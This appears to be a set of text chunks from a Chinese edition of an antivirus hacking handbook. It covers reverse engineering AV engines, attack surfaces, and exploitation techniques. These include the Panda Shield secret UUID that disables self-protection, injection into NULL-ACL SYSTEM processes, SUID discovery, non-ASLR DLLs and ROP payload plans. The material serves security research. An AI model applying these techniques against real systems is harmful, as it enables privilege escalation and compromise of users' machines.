case 1: return \"SCANNER_FIRST\"; case 18: return \"SCANNER_HEUR\"; case 26: return \"SCANNER_ADVHEUR\"; case 11: return \"MEMTARGET\"; case 25: return \"FILEID\"; default: return \"Unknown\"; } } 上述信息是从以下枚举值中提取的，它们已存在于IDA数据库中了（不要忘了你有完整的调试符号）： enum MemMgrType { enumMemMgr_Default = 0x0, enumMemMgr_SCANNER_FIRST = 0x1, enumMemMgr_SCANNER_DOSMZ = 0x2, enumMemMgr_SCANNER_PE32 = 0x3, enumMemMgr_SCANNER_PENEW = 0x4, enumMemMgr_MEMORY_ENGINE = 0x5, enumMemMgr_SCANNER_SCRIPT = 0x6, enumMemMgr_UNPACK_STATIC = 0x7, enumMemMgr_UNPACK_GUNPACK = 0x8, enumMemMgr_SIGNMGR = 0x9, enumMemMgr_FRAMEWORK = 0xA, enumMemMgr_MEMTARGET = 0xB, enumMemMgr_ENGINEDISPATCH = 0xC, enumMemMgr_SCANNER_WHITE = 0xD, enumMemMgr_MTENGINE = 0xE, enumMemMgr_UNARCHIVE = 0xF, enumMemMgr_CAVSEVM32 = 0x10, enumMemMgr_CAVSEVM64 = 0x11, enumMemMgr_SCANNER_HEUR = 0x12, enumMemMgr_SCANNER_MEM = 0x13, enumMemMgr_UNSFX = 0x14, enumMemMgr_UNPACK_DUNPACK = 0x15, enumMemMgr_SCANNER_EXTRA = 0x16, enumMemMgr_UNPATCH = 0x17, enumMemMgr_SCANNER_RULES = 0x18, enumMemMgr_FILEID = 0x19, enumMemMgr_SCANNER_ADVHEUR = 0x1A, enumMemMgr_SCANNER_MBR = 0x1B, enumMemMgr_SCANNER_PE64 = 0x1C, enumMemMgr_SCANNER_SMART = 0x1D, }; 使用 g++ 命令编译之前的文件，将其复制至/opt/COMODO目录，然后重新运行程序，收尾工作就全部完成了。 这次，你将得到更多的信息： $ g++ cmdscan.c -o mycmdscan -fpermissive \\ -Wno-unused-local-typedefs –ldl $ sudo cp mycmdscan /opt/COMODO $ /opt/COMODO/mycmdscan /home/joxean/malware/eicar.com.txt /home/joxean/malware/eicar.com.txt ---> Found Virus, Malware Name is Malware Scanner : 12 (ENGINEDISPATCH) CRCs : 0x486d0e3 0xa03f08f7 Number of Scanned Files: 1 Number of Found Viruses: 1 根据上面的信息，我们得知使用CRC文件特征码的文件扫描引擎名叫 ENGINEDISPATCH 。"},
    {"text": "2.6 内核加载的其他部分 反病毒软件内核常用于打开文件、遍历压缩文件或缓冲区内的所有文件，开展基于特征码的病毒扫描或通用扫描，以及移除已知的恶意软件。 但有些任务并不是由内核完成的，而是由反病毒软件的其他模块完成的，比如插件、通用检测模块、启发式引擎等。 这些模块（尤其是插件）由反病毒软件的内核加载，来完成一些有意思的任务。"},
    {"text": "比如Microsoft Security Essentials Antivirus反病毒引擎（mpengine.dll）就会加载由C++/.NET和Lua脚本语言编写的病毒检测和查杀程序，随后将它们从跟随软件发布的数据库文件以及每日更新中抽取出来。"},
    {"text": "本章阐释了在厂商未提供现成命令行工具的情况下，为了编写一个用来完成自动化测试和模糊测试的客户端库，需要进行的逆向分析反病毒产品内核和其他组成部分的相关工作。"},
    {"text": "借助调试符号，让逆向分析过程更容易 因为反病毒产品的基础代码类似，所以在提供了调试符号的操作系统平台上逆向分析相关模块，接着再将符号移植到没有提供调试符号的平台上是可行的。"},
    {"text": "从某种程度上说，无论是哪一种软件，当我们需要确定从哪里入手针该对目标软件开展攻击时，本章所讨论的相关技术和工具都可以派上用场。 本章将介绍如何使用操作系统的内置工具和一些专门工具帮助我们确定本地和远程的攻击面和攻击技术，进而帮助我们了解能够发现漏洞的可能性有多大。"},
    {"text": "另一方面，如果攻击者能够远程利用漏洞，在不需要本地访问机器的情况下向其发起攻击，那么这个攻击面就被称为远程攻击面。 比如，类似服务器或Web应用常会存在可以供攻击者利用并攻击的远程攻击面。"},
    {"text": "同样地，一项监听客户端链接的网络服务可能会存在缓冲区溢出或解析特定文件格式的漏洞（这在反病毒软件中十分常见），类似这样的漏洞可以通过发送畸形的邮件来利用攻击。"},
    {"text": "一些安全研究者认为通过局域网（LAN）或内网实施的远程攻击与通过广域网（WAN）实施的远程攻击存在区别。 局域网远程攻击只能在内网中实施，比如通过反病毒远程管理面板实施攻击（例如，第13章会讨论的eScan Malware Admin中的漏洞）。"},
    {"text": "接着，使用一个本地权限提升漏洞获取最高完整权限（根据不同的操作系统和漏洞类型，可以获取root、本地系统甚至是接触内核层的权限）。 不要仅仅把眼光局限于远程利用漏洞，稍后，我们需要借助一个（或多个）本地漏洞来编写一个完整的远程root漏洞利用攻击程序。 如今，发现并利用一个反病毒软件中的漏洞通常意味着，可以立即获取到访问根目录或本地系统的权限，因为反病毒软件通常是使用提升过的权限运行的。"},
    {"text": "如今，如果想要获取到当前登录用户权限，在利用客户端应用的漏洞过程中，还需要进行沙盒绕过，也就是说需要找到沙盒或底层系统的bug，才能达到最终目的。 在不久的将来，安全研究人员希望反病毒产品也会带有上述相关特性（沙盒代码保护），使得绕过沙盒成为获取系统最高权限的过程中不可或缺的一部分。"},
    {"text": "10.1.1 查找文件和系统目录权限的弱点 虽然对于反病毒软件来说不是很常见，但是仍有一些反病毒软件开发者忘记对程序路径设置权限保护，或是把一些文件的权限设置得过于开放。"},
    {"text": "比如，在反病毒软件Panda Global Protection的2011~2013版本中，程序的安装目录对本机所有的用户都设置了可读写的权限，因此任何一个本地用户都可以将可执行程序、库文件和其他文件写入其安装目录。"},
    {"text": "在Unix或Linux平台上，可以运行以下指令： $ ls -lga /opt/f-secure drwxrwxr-x 5 root root 4096 abr 19 21:32 fsaua drwxr-xr-x 3 root root 4096 abr 19 21:32 fsav drwxrwxr-x 10 root root 4096 abr 19 21:32 fssp 上述命令可以显示F-Secure Anti-Virus Linux版的三个安装目录的正确权限。"},
    {"text": "截至目前已经发现了许多与文件权限错误设置相关的漏洞，比如去年在Panda反病毒软件中发现的漏洞。 有时候这类漏洞不单单是安装包产生的问题，可以通过更改一个文件夹或特定文件的权限修复，而是由错误的存在缺陷的开发设计理念导致的。"},
    {"text": "反病毒厂商自作聪明地通过一个会导致Panda反病毒程序安装目录可被任意用户写入的方式来修复漏洞，而不是创建一个以SYSTEM用户身份运行的Windows服务，来和普通用户执行的应用程序交互。 由于这项糟糕的设计缺陷，攻击者可以通过修改或调整一些Panda反病毒软件的服务和模块来获得权限提升，Panda反病毒一时间收到了大量漏洞报告。"},
    {"text": "但是由于某些未知的原因，反病毒开发工程师向这几个进程分配了值为 NULL 的ACL，导致任意本地用户都有权对它们作出改动。 一个值为 NULL 的ACL的进程可以被任何其他本地进程打开、修改、写入。"},
    {"text": "一般情况下，内核级别的漏洞需要在本机利用，允许相关程序从较低权限的普通用户，提升到拥有内核权限的高级用户。 发现内核漏洞的重要性在于，在内核态下攻击者可以对系统作出任何改动，比如安装恶意驱动，向磁盘直接做写入操作来破坏其中的内容，hook用户态进程来窃取敏感数据（比如，窃取浏览器访问银行网站发送的银行交易账户信息）……可以说，这时候恶意软件可以做任何事情。"},
    {"text": "让我们来看一个API hooking过程中出现缺陷的例子，一位昵称为MJ0011的用户通过exploitdb.com报告了标题为“金山毒霸2012 KisKrnl.sys <= 2011.7.8.913——本地内核提权漏洞”的漏洞，报告中指出漏洞原因是错误的API hook处理。"},
    {"text": "MJ0011公开的漏洞证明代码在成功利用驱动漏洞后，将屏幕显示模式切换到了文本显示模式，并在系统真正崩溃之前显示了一段类似于Microsoft Windows蓝屏错误（blue screen of death，BSOD）的信息。"},
    {"text": "该漏洞是一个反病毒软件的某分析模块注入运行进程时发生的栈溢出问题。 在报告者提交的PoC中，他向Internet Explorer注入一个恶意DLL（通过操作导入表），当经由实时启发式引擎分析时，PE文件中导入的超长文件名便会造成典型的Unicode栈溢出漏洞。"},
    {"text": "我们可以通过以下指令搜索带有相关标记的文件： $ find /directory -perm +4000 # For SUID files $ find /directory -perm +8000 # For SGID files 如果使用类似上面的命令来查找Dr.Web安装目录下的SUID应用程序，会得到如下结果： $ find /opt/drweb/ -perm +4000 /opt/drweb/lib/drweb-spider/libdw_notify.so /opt/drweb/drweb-escan.real 搜索结果显示有两个SUID二进制文件：libdw_notify.so和drweb-escan.real。 但是这两个二进制文件的权限被设置得十分严格：只有root用户或drweb用户组才可以执行二进制文件，我们可以通过 ls 命令进行确认： $ ls –l /opt/drweb/drweb-escan.real -rwsr-x--- 1 root drweb 223824 oct 22 2013 /opt/drweb/drweb-escan.real 带有SUID或SGID标识的程序很容易出现权限提升漏洞。"},
    {"text": "如果在编写过程中稍不留意，或者本来只能被特定用户或用户组使用却错误地给所有用户执行权限，这样系统中的任意用户就都能以所有者权限执行程序。"},
    {"text": "在eScan Malware Admin真实的漏洞案例中，尽管表面上确实是SUID二进制文件没有分配正确的权限，但是该漏洞暴露的深层问题是开发设计理念存在的缺陷。"},
    {"text": "该款Web管理应用被用于管理eScan反病毒软件的安装，其开发设计理念是无论Web应用的终端用户输入什么命令，都会以root权限执行该命令（十分糟糕的开发设计理念）。"},
    {"text": "远程攻击者可以首先获取用户mwadmin的权限（运行Web应用的用户权限）。 接着，由于用户mwadmin可以执行该二进制文件，远程攻击者可以通过运行 runasroot 在目标机器上获取root权限。"},
    {"text": "因此，本例中的bug并不仅仅是一个权限问题，而是一个由错误开发设计理念导致的漏洞。 事实上，由于进行权限筛选时不仔细，这一错误的开发设计理念造成了很多漏洞。"},
    {"text": "但是有些旧程序由旧版本编译器生成，或者它们的开发者有意要禁用ASLR（很多时候是考虑到性能消耗原因，尽管大多数时候禁用ASLR的变化不大）。"},
    {"text": "不管怎么样，即使进程或动态链接库没有启用ASLR，我们也不能确定程序加载的相关地址就是我们第一次使用进程管理器或其他工具时看到的那个。 启用ASLR的库的加载地址可能会和我们想要用于漏洞利用程序编写的库加载的基地址有冲突，这时候Windows系统会重载地址。 要注意的是，即使是对于大多数动态链接库没有启用ASLR的Bitdefender而言，系统的一些动态链接库也会干扰基地址，因此会让程序具有启用了ASLR的类似行为。 图10-1 Bitdefender Security Service几乎所有的库文件以及相关可执行程序都没有启用ASLR 要找出哪些动态链接库不会冲突，我们需要重启多次，记录下对应库的地址，并在重启的过程中确认这些库的基地址在重启以后仍会保持稳定。 在Bitdefender Security Service的案例中，我们不需要进行上述操作，因为主进程vsserv.exe没有启用ASLR，同时可执行程序会优于其他任何库之前加载。"},
    {"text": "更令人担忧的漏洞是，反病毒程序在实现启发式引擎或“系统主动防护”（反病毒厂商一般是这么推广的）的过程中，向所有进程注入的动态链接库（DLL）没有启用ASLR。 由于要实现系统主动防护，动态链接库会注入到所有进程中，这会导致系统中所有进程都禁用了ASLR。"},
    {"text": "一个案例是，在中国和日本有着很大装机量的中国反病毒软件金山互联网安全套装（Kingsoft Internet Security，KIS），通过向所有用户进程注入多个DLL来实现应用层防火墙。"},
    {"text": "如果攻击者没有ASLR绕过的漏洞，却想要利用一个Firefox浏览器的漏洞进行攻击，因为金山互联网安全套装注入了没有启用ASLR的动态链接库，攻击者可以针对在日本和中国装有金山互联网安全套装的用户电脑，编写稳定的漏洞利用攻击程序。"},
    {"text": "图10-2 三个没有启用ASLR的库文件，被注入到了Firefox浏览器的内存空间中 10.2.3 利用Windows对象的错误权限 在Windows操作系统中，针对反病毒软件的本地攻击包括滥用错误的权限、ACL和其他可以被分配ACL的Windows对象。"},
    {"text": "图10-3 KIS事件对象没有设置ACL，WinObj提示任何人都可以控制KIS事件对象 WinObj警告该事件对象没有被分配权限控制，任何人都可以操作该Windows对象。"},
    {"text": "和之前研究金山互联网安全套装的案例不同，这里无须使用WinObj，而是使用Sysinternals套装中的进程管理器，后者更适合用于检查用户态线程和进程对象。"},
    {"text": "安装完Panda Global Protection 2012后，打开进程管理器，找到Panda反病毒软件的进程SrvLoad.exe（如图10-4所示）。 图10-4 这是Panda反病毒软件以SYSTEM身份和最高完整性级别运行的SrvLoad进程没有设置任何ACL的漏洞证明截图。"},
    {"text": "这样的漏洞其实并不常见，因为一个进程或线程对象的权限通常来说是继承自父对象的，而软件开发者必须直接调用函数 SetSecurityDescriptorDAL ，才能向其分配一个 NULL 值的ACL。"},
    {"text": "一个本地漏洞利用攻击程序可以打开进程并通过调用 CreateRemoteThread 注入一个DLL文件，比如在SrvLoad.exe的执行环境下运行代码并提升至本地系统权限。"},
    {"text": "如果没有设置ACL或者权限控制设置错误的话，结果将会是致命的，任何用户都可以向贡献区块中写入可执行的代码，这就导致攻击者可以利用这一缺陷，向共享的区块中写入可执行代码，接着让进程（很可能是以SYSTEM身份运行的）执行该代码片段。"},
    {"text": "在Panda Global Protection 2011~2013版本中就存在一个逻辑问题，Panda反病毒的所有进程被一个名为Panda's Shield的自我防护功能保护。 Panda's Shield用于阻止任何本地进程结束Panda的分析和系统服务，或者为其注入Shellcode。 但是由于某些原因，Panda反病毒的开发者在该功能中内置了可以启用或禁用自我防护的后门。"},
    {"text": "动态链接库pavshdl.dll导出一系列函数，除了 PAVSHLD_001 和 PAVSHLD_002 外，其他函数都是肉眼可读的（见图10-5）。 图10-5 库文件pavshdl.dll导出的函数列表 如果一个动态链接库导出的函数大多都是肉眼可读的函数名称的话，通常意味着开发者可能想要隐藏背后的真实逻辑。"},
    {"text": "图10-6 图中的秘密UUID可以用于禁用Panda反病毒的自我保护 反汇编结果显示，Panda Shield可以通过向 PAVSHLD_001 传递一个 ae217538-194a-4178-9a8f-2606b94d9f13 的UUID“秘密”值来禁用相关防护。 当该函数接收到了正确的UUID参数值，一系列可写的注册表键（任意用户都可写）被更新，Panda Shield则被禁用。"},
    {"text": "比如，如果用户访问的网站提供HTML内容、CSS和JavaScript文件，反病毒软件会自动扫描所有相关内容来检查站点是否带有恶意内容。 在自动扫描下载文件的过程中，可能会触发针对字体文件、CSS、JavaScript、OLE2文件和其他文件格式的解析器中的漏洞。"},
    {"text": "和其他软件厂商一样，现在一些反病毒厂商也会通过走安全的编程开发流程进行常规源代码安全审计，来降低在解析文件格式过程中出现漏洞的可能性。"},
    {"text": "这些复杂文件格式包括：Microsoft OLE2文件、PDF、ELF、PE、MachO、Zip、7z、LZH、RAR、GZIP、BZIP2、LNK、Adobe Flash、MOV、AVI、ASF、CLASS、DEX，等等。"},
    {"text": "在我看来，经过数月的模糊测试，反病毒软件在解析特殊文件格式时也不会崩溃的原因可能是：反病毒软件中用于解析不同格式文件的模拟器或虚拟机，是使用类似解释型语言或托管式代码等非本机语言编写的。"},
    {"text": "当反病毒软件扫描到了类似被感染的文件，反病毒软件的通用侦测代码在判定文件被感染之前需要收集与感染有关的证据信息。 侦测代码需要查找原始入口点的位置（original entry point，OEP）、加密的key的存储位置，以及病毒在文件中的存在位置等信息。"},
    {"text": "如果修复程序过于信任所收集的信息，对传入信息不做任何安全检查的话，修复代码会使用区域大小信息执行一些运算，比如 memcpy （会导致缓冲区溢出）或整数算术运算（会导致整数溢出、下溢或阶段错误）。"},
    {"text": "类似地，针对混淆或加壳的病毒［可能使用了入口点混淆（entry point obscuring，EPO）］，通用侦测程序和感染文件修复程序都需要处理许多新的文件格式和不受信任的数据，而这也会产生同处理PDF或OLE2文件格式解析器一样的安全风险。"},
    {"text": "想要了解更多的漏洞细节，可以参阅SEC Consult Vulnerability Lab发布的安全公告： https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140508-0_AVG_Remote_Administration_Multiple_critical_vulnerabilities_v10.txt 。"},
    {"text": "10.3.4 防火墙、入侵监测系统和解析器 目前几乎所有的反病毒软件都有能力分析网络流量，侦测被下载的恶意程序或者已知蠕虫、感染型病毒、木马等病毒的典型网络跟踪。"},
    {"text": "这种情况下，如果更新服务下载了一个新的可执行文件（比如PE文件或动态链接库），攻击者就可以截断正常更新过程，并将正常更新文件替换成恶意的、修改过的甚至是伪造的更新文件。 这样攻击者就可以通过反病毒软件的更新过程，在用户的个人电脑上安装恶意软件，而恶意软件将会被反病毒软件执行。"},
    {"text": "这种通过反病毒软件更新服务进行攻击的漏洞，听起来或许不太可能出现，却在不少反病毒软件中都存在。 俄罗斯的Dr.Web反病毒软件就有过这样的一个漏洞，我们将在后面的章节中进行讨论。"},
    {"text": "10.3.6 浏览器插件 许多反病毒产品都会安装浏览器插件来检查网站、URL和下载文件的信誉来判断这些对象是否会执行恶意操作。 反病毒软件的浏览器插件因为执行上下文是浏览器，所以自然而然暴露在了攻击者的攻击范围中，无论是局域网和广域网攻击者都可以欺骗用户访问攻击者控制的恶意页面。 如果浏览器插件存在一个或多个漏洞，无论用户是否安装了防火墙，攻击者都可以远程利用漏洞来攻击用户。"},
    {"text": "当时，许多反病毒产品都会开发一些反病毒引擎的迷你版，这些迷你版引擎可以作为一个ActiveX控件嵌入被Internet Explorer呈现的页面。 通过将一个ActiveX控件插入网页，用户可以不在电脑上安装反病毒软件，而只需访问对应的在线杀毒网页就可以体验到相关反病毒软件功能。"},
    {"text": "这些应用常被称作“安全增强”应用，引发了人们极大的兴趣，因为它们在开发过程中存在疏忽，形成了一个攻击面。 安全增强应用的例子是反病毒软件公司创建或修改的某些浏览器功能，用于进行银行交易操作或其他重要支付安全场景的防护。"},
    {"text": "自然而然地，攻击者现在不仅可以攻击反病毒软件的内核、扫描器等常见模块，还可以攻击被反病毒套装推荐设置成默认浏览器的瑞星安全浏览器。"},
    {"text": "同时，因为浏览器是二线产品，所以反病毒软件公司在开发此类浏览器的过程中，并不会有很强的安全开发意识。 这些安全增强版浏览器不会像浏览器内核那样开发得严谨有序（不同于普通人的第一印象，这里我们假定内核代码的编写更为严谨）。"},
    {"text": "反病毒软件内核设备驱动漏洞 如果反病毒软件使用了通过IOCTL与用户态模块交互的驱动，比如文件系统过滤器或自我保护驱动，不正确的缓冲区处理方式和逻辑错误会最终导致攻击者可以在用户态利用驱动设备的漏洞，进行系统级别的代码执行攻击。"},
    {"text": "Windows对象的错误权限配置 Windows为对象设置ACL提供了详尽的配置系统（互斥体、事件和线程对象等）。 反病毒软件开发者需要确保反病毒软件的系统对象被设置了正确的ACL，否则类似恶意软件这样的低权限程序都可以与相关文件交互。"},
    {"text": "针对不同文件格式的解析器 正如前面几章提到的那样，通过电子邮件接收到的带有 img 或 iframe 等HTML标签或其他不受信任内容的恶意文件和文档，会触发反病毒引擎的安全缺陷，最终导致系统被攻破。"},
    {"text": "比如，如果反病毒软件的Web管理控制台会执行用户端传递的特权指令，以及如果因为存在一个漏洞，用户可以控制传递给Web接口的指令，那么一切就完了。"},
    {"text": "防火墙、入侵检测系统和其他网络协议分析模块 这种类型的攻击十分类似于针对文件格式解析器进行的攻击。 如果特定的网络协议解析器中存在缺陷，攻击者就可以向防火墙发送精心构造的恶意网络流量包来远程触发相关模块的漏洞。"},
    {"text": "事实上，只有结合利用远程和本地的相关漏洞，才会最终成功实施攻击：首先利用一个远程攻击代码侵入目标机器网络，接着使用一个本地漏洞提权，最终完全控制目标机器。"},
    {"text": "黑客攻防技术宝典：反病毒篇 第 1 章 反病毒软件入门 反病毒软件通过监测手段保护计算机免受恶意软件感染，并适时移除恶意软件，使计算机脱离感染状态。"},
    {"text": "一旦防护失效，反病毒软件就成了从操作系统中彻底清除恶意软件、使计算机摆脱感染的解决方案。 反病毒软件使用多种技术来侦测潜藏在操作系统深处且带有自我保护功能的恶意软件。"},
    {"text": "如今，用户面临着来自四面八方的安全威胁，反病毒软件的使命就是处理出自可信以及不可信来源的恶意文件。 反病毒软件要处理的恶意文件来源有：网络数据包、邮件附件、浏览器漏洞攻击利用程序、文档阅读器，以及运行在操作系统上的可执行程序。 1.2 反病毒软件的历史与现状 最早的反病毒产品在严格意义上只能算作扫描器，因为它们仅是在可执行程序中侦测恶意代码的命令行扫描程序。"},
    {"text": "无论是偷取用户在诸如eBay、Amazon、Gmail等网站的账户登录凭证，还是入侵用户在支付平台（如Paypal）的账号，其最终目的是一致的：不择手段地获取尽可能多的钱财。"},
    {"text": "对于攻击者来说，保证开发的恶意软件不被反病毒软件查杀，时间越长越好。 无论是否合法，许多商业版本的恶意软件包都有一定的支持服务期限。 在服务支持期间，恶意软件产品会根据反病毒软件或是操作系统的查杀情况适时作出更新。 另外，恶意软件也会通过升级来应对和修补bug，添加新功能等。 反病毒软件也可能成为攻击目标，比如有幕后支持的Mask病毒，就利用了卡巴斯基的一个零日漏洞。"},
    {"text": "1.3 反病毒扫描器、内核和产品 通常，计算机用户可能只会把反病毒软件简单地看成一个软件套装，但是攻击者必须要有从更深层次来分析反病毒软件的能力。 本章将详细阐释反病毒软件的各个组成部分：反病毒内核、命令行扫描器、GUI扫描器、守护进程或系统服务、文件系统防护驱动、网络防护驱动，以及反病毒软件的其他一些功能模块。"},
    {"text": "使用该反病毒内核的包括一款叫作clamscan的扫描器，除此以外还有clamd实时防护程序，以及其他一些程序和库，比如一个叫作PyClamd的Python bindings API程序。"},
    {"text": "反病毒产品可能并不会向第三方开发者提供直接调用其内核的方法，但可能会提供调用命令行扫描器的接口。 另外还有一些反病毒产品甚至连调用命令行扫描器的接口都不会提供，而是仅仅提供GUI扫描器或是GUI程序，用来配置实时防护或该产品中的其他模块，以侦测和修复恶意软件感染。"},
    {"text": "反病毒套装还会提供一些其他的安全防护程序，如安全浏览器、浏览器安全工具栏、自我保护驱动、防火墙等。 可以看到，反病毒产品其实是软件公司提供给顾客的防护软件包。"},
    {"text": "” 要解释安装了反病毒软件并不能获得百分之百保护的原因，让我们先来看看现代反病毒软件的基础功能： 侦测程序中已知的恶意代码及其风险操作；"},
    {"text": "使用本机语言 大多数反病毒引擎（除了旧版本的Malwarebytes，它不是一个完整的反病毒产品）都是采用非托管语言/本机语言编写的，比如C、C++或是两者的结合。"},
    {"text": "不过，使用本机语言编写程序也有不少缺陷。 采用本机语言编写程序难度更大，也更容易造成内存及系统资源泄漏，引发内存崩溃（堆溢出、use-after-free、double-free）问题，或写出造成严重系统安全问题的bug。"},
    {"text": "这类扫描器会实时监测分析操作系统或其他程序（比如浏览器）的每一个读取、创建、修改操作，来防止系统内文档和程序被病毒感染，阻止已知恶意文件执行。"},
    {"text": "比方说，Microsoft Word文档中分析模块的一个bug可能会在用户下载了一个恶意的Microsoft Word文档以后，使实时防护模块被利用而执行任意代码，即便用户并没有打开这个恶意文档。 无独有偶，反病毒软件邮件防护模块中的一个安全漏洞，也可能会在用户接收了一封带有恶意附件的邮件以后，当反病毒软件相关模块试着去分析邮件客户端创建的临时文件安全性时，触发恶意代码。"},
    {"text": "一些典型且基础的特征码扫描功能基于简单的“指纹”匹配技术（比方说，匹配发现特定的字符串，如EICAR字符串）、CRC校验码或文件MD5散列值。"},
    {"text": "如果基于模糊逻辑的特征码技术，将特定的数据区块作为CRC校验算法的匹配特征，就可以识别检测到相对多的恶意文件（与标识整个文件正好相反）。"},
    {"text": "特征码技术有的基于CRC校验技术，也有的基于PE文件头特征、可执行文件入口代码复杂性，以及整个或部分可执行文件信息熵。 有时，文件特征码识别技术也基于对进行可执行程序入口点代码分析时发现的基本块，除此以外还有其他一些特征码检测技术。"},
    {"text": "比如说，一些反病毒产品使用的特征码检测技术十分精准，不容易发生误报（将一个正常文件标记为恶意软件），另外一些则十分敏感，误杀率很高。 举个例子，如果反病毒软件把以“MZ\\x90”字节开头的Microsoft Word文档作为一条查杀特征，那么无论文档是否正常，都将被标记为恶意软件。 因此，为了避免误报，在添加特征码的时候必须慎之又慎，否则就会造成图1-1中显示的误报或者漏报（恶意软件被误认为是正常文件）。"},
    {"text": "图1-1 Comodo Internet Security针对反汇编软件IDA的误报 压缩包和归档文件 反病毒内核的另一个关键部分是支持压缩和归档文件格式，其中包括ZIP、TGZ、7z、XAR和RAR等。"},
    {"text": "但是，也有一些十分复杂的加壳程序，它们通过将恶意软件真实代码转化成字节码，然后随机抽取一段或多段代码载入虚拟机运行。 因此，想要针对使用此类在虚拟层实现的程序进行脱壳处理，进而了解恶意软件内部的逻辑结构，是一件十分耗时而且困难的事情。"},
    {"text": "另外还有一些更为复杂的脱壳程序，融合了之前提到的这两种技术——先将程序在模拟器中运行，获取到某些关键数据（如加密数据大小、加密算法种类、加密密钥等），接着基于这些数据采用更快的静态技术脱壳处理。"},
    {"text": "反病毒引擎中使用最广泛的模拟器是Intel x86模拟器。 一些高级的反病毒产品还支持AMD64或ARM模拟器。 模拟器不仅限于常见的CPU种类，比如Intel x86、AMD64或ARM，也有一些为编程语言虚拟机开发的模拟器。"},
    {"text": "对于使用了模拟器的反病毒软件的更高级组成部分，比如说针对ELF或PE文件的运行模拟环境，开发者就更不可能执行整个操作系统环境，或是操作系统提供的每一个API了。"},
    {"text": "考虑到反病毒软件开发者没有针对此类文件格式的处理经验，而且又需要对此类文件做逆向操作，我们为何期待他们能比文件作者写出更好的程序，并能更好地处理此类文件呢？"},
    {"text": "正是由于许多蠕虫病毒借助网络感染计算机，反病毒软件出现了筛查计算机的上传下载流量的功能。 为了实现该目的，反病毒软件会在计算机内安装分析网络流量的驱动，防火墙会侦测并阻断已知的攻击。"},
    {"text": "因此，许多反病毒软件通过系统内核驱动实现自我保护功能，来对抗通过 ZwTerminateProcess 禁用反病毒软件防护的恶意操作。 有些反病毒产品的自我保护技术通过阻断以某些参数调用 OpenProcess 来关闭反病毒软件进程，或拒绝外部进程通过调用 WriteProcessMemory 向反病毒防护进程注入代码。"},
    {"text": "反漏洞利用程序 包括Windows、Mac OS X（现在称为macOS）以及Linux在内的操作系统，目前纷纷推出了对抗漏洞利用的功能，也称为“安全保护措施”，比如最近开发出来的随机地址空间分配技术（address space layout randomization，ASLR）和数据执行保护技术（data execution prevention，DEP）。"},
    {"text": "随着微软EMET（Enhanced Mitigation Experience Toolkit）方案的出现，大多数带有反漏洞利用程序的反病毒软件相形见绌，显得十分不完善，而且很容易被绕过。"},
    {"text": "使用类似C/C++等本机语言编写反病毒软件是最好的选择，因为它们运行时不需要解释器（类似虚拟机解释器），而是直接在本机编译运行。"},
    {"text": "反病毒软件可以被远程攻击，不过要实现这一过程有点困难。 本章将阐释为何远程利用反病毒软件的漏洞开展攻击要比本地攻击复杂得多。 此外，本章还会阐释如何针对反病毒软件编写漏洞远程利用攻击脚本，并提供了许多让漏洞利用过程更容易的有用建议。"},
    {"text": "15.1.1 利用沙盒的缺陷 大多数反病毒产品仍然饱受缺少合适安全防护措施的困扰，这就导致攻击者能轻易地对产品发起攻击，就像攻击音乐播放器或图像浏览器这样老旧的客户端应用一样简单。"},
    {"text": "比如，相对于针对Adobe Acrobat Reader、Google Chrome或最新版本的Internet Explorer或Microsoft Office，针对没有采取任何措施防止自身被攻破的反病毒软件来编写漏洞利用程序，难度要小得多。"},
    {"text": "如果我们去读一读反病毒软件的广告，然后研究一下相关产品，就会发现反病毒厂商提及的“沙盒运行”实际上仅仅是指将未知的程序或代码放入半受控的环境中运行。"},
    {"text": "尽管我们已经清楚了为何利用反病毒产品中的漏洞与利用其他客户端应用中的漏洞进行攻击无异，但是要编写针对一款反病毒软件的漏洞的利用程序，还有不少困难等待解决。"},
    {"text": "事实上确实是这样的，我在针对文件格式漏洞编写的大部分漏洞利用程序中都利用了这类“特性”：在堆中执行代码（DEP）或直接使用一些大小不等的、位于一个或多个没有启用ASLR的库文件中的特殊ROP payload。 一个利用了没有启用ASLR库文件漏洞的利用程序通常来说十分稳定，这是因为库文件提供了一系列固定的地址，这样漏洞利用程序就可以依此来找到所有利用过程中需要用到的ROP组件了。"},
    {"text": "比如，我发现某款反病毒软件会在固定内存地址处创建带有RWX属性的内存页面，这让我们在当前反病毒软件的上下文环境中执行可控的代码容易了许多。"},
    {"text": "为了解释这个漏洞的利用场景，首先假设我们在一款反病毒软件中发现了一个堆溢出漏洞，可以利用该漏洞写一个之后会被间接引用的指针值，接着将其解释为虚表（VTable）中的指针。"},
    {"text": "以下是反汇编结果列表： MOV EAX, [ECX] ; Memory at ECX is controllable CALL [EAX+8] ; So, we directly control this call 本例中，由于存在内存破坏漏洞，我们可以覆盖一个C++对象的VTable，该地址通常直接就在对象实例处。"},
    {"text": "(2) ROP组件将shellcode复制至反病毒软件创建的固定RWX内存页面内，供我们编写的漏洞利用程序使用。 (3) ROP组件复制完整个shellcode后，我们可以跳转进入相关RWX内存页面，并继续正常执行相关代码。"},
    {"text": "即便仅仅出现了前面介绍的四个漏洞类型的其中之一，也意味着我们将面对的情况会在“利用起来很简单”和“鬼才知道如何利用”之间进行切换。"},
    {"text": "在这种情况下，情况会大不相同，根据操作系统和架构的不同，漏洞的利用过程会变得十分困难： 启用了DEP以后，不会从数据页面中执行代码；"},
    {"text": "15.1.3 编写复杂的payload 通常来说，反病毒产品的漏洞利用程序必须针对目标操作系统、架构甚至最终目标机器进行专门创建。 在这类情况下，我们需要确定如何创建复杂的payload，而不仅仅是创建将地址或一系列地址外加shellcode写死的漏洞利用程序，否则在真实的目标机器上可能无法生效。 针对客户端应用创建复杂的攻击payload，通常意味着要使用到JavaScript，比如当遇到浏览器或类似Adobe Acrobat Reader这样的程序时。"},
    {"text": "不幸的是，这就意味着我们并不能通过创建PE文件、ELF文件或MachO文件，强制让反病毒模拟器进行模拟，并填充1 GB或2 GB的内存，在触发真实漏洞之前来进行堆喷。"},
    {"text": "不过另一方面，模拟器可以被识别定位，因此我们可以有针对性地编写最终的payload，也可以在模拟器模拟恶意代码过程中，触发模拟器的内存泄漏问题，这样某一大小的内存在样本模拟执行结束后就不会被释放。"},
    {"text": "通常来说，会触发反病毒软件进行模拟器分析的样本是十分复杂、难以静态解密的EXE加密器或封装器，因此反病毒工程师就想出了使用模拟器来进行解密的点子（这是一个十分巧妙的主意：让机器完成）。"},
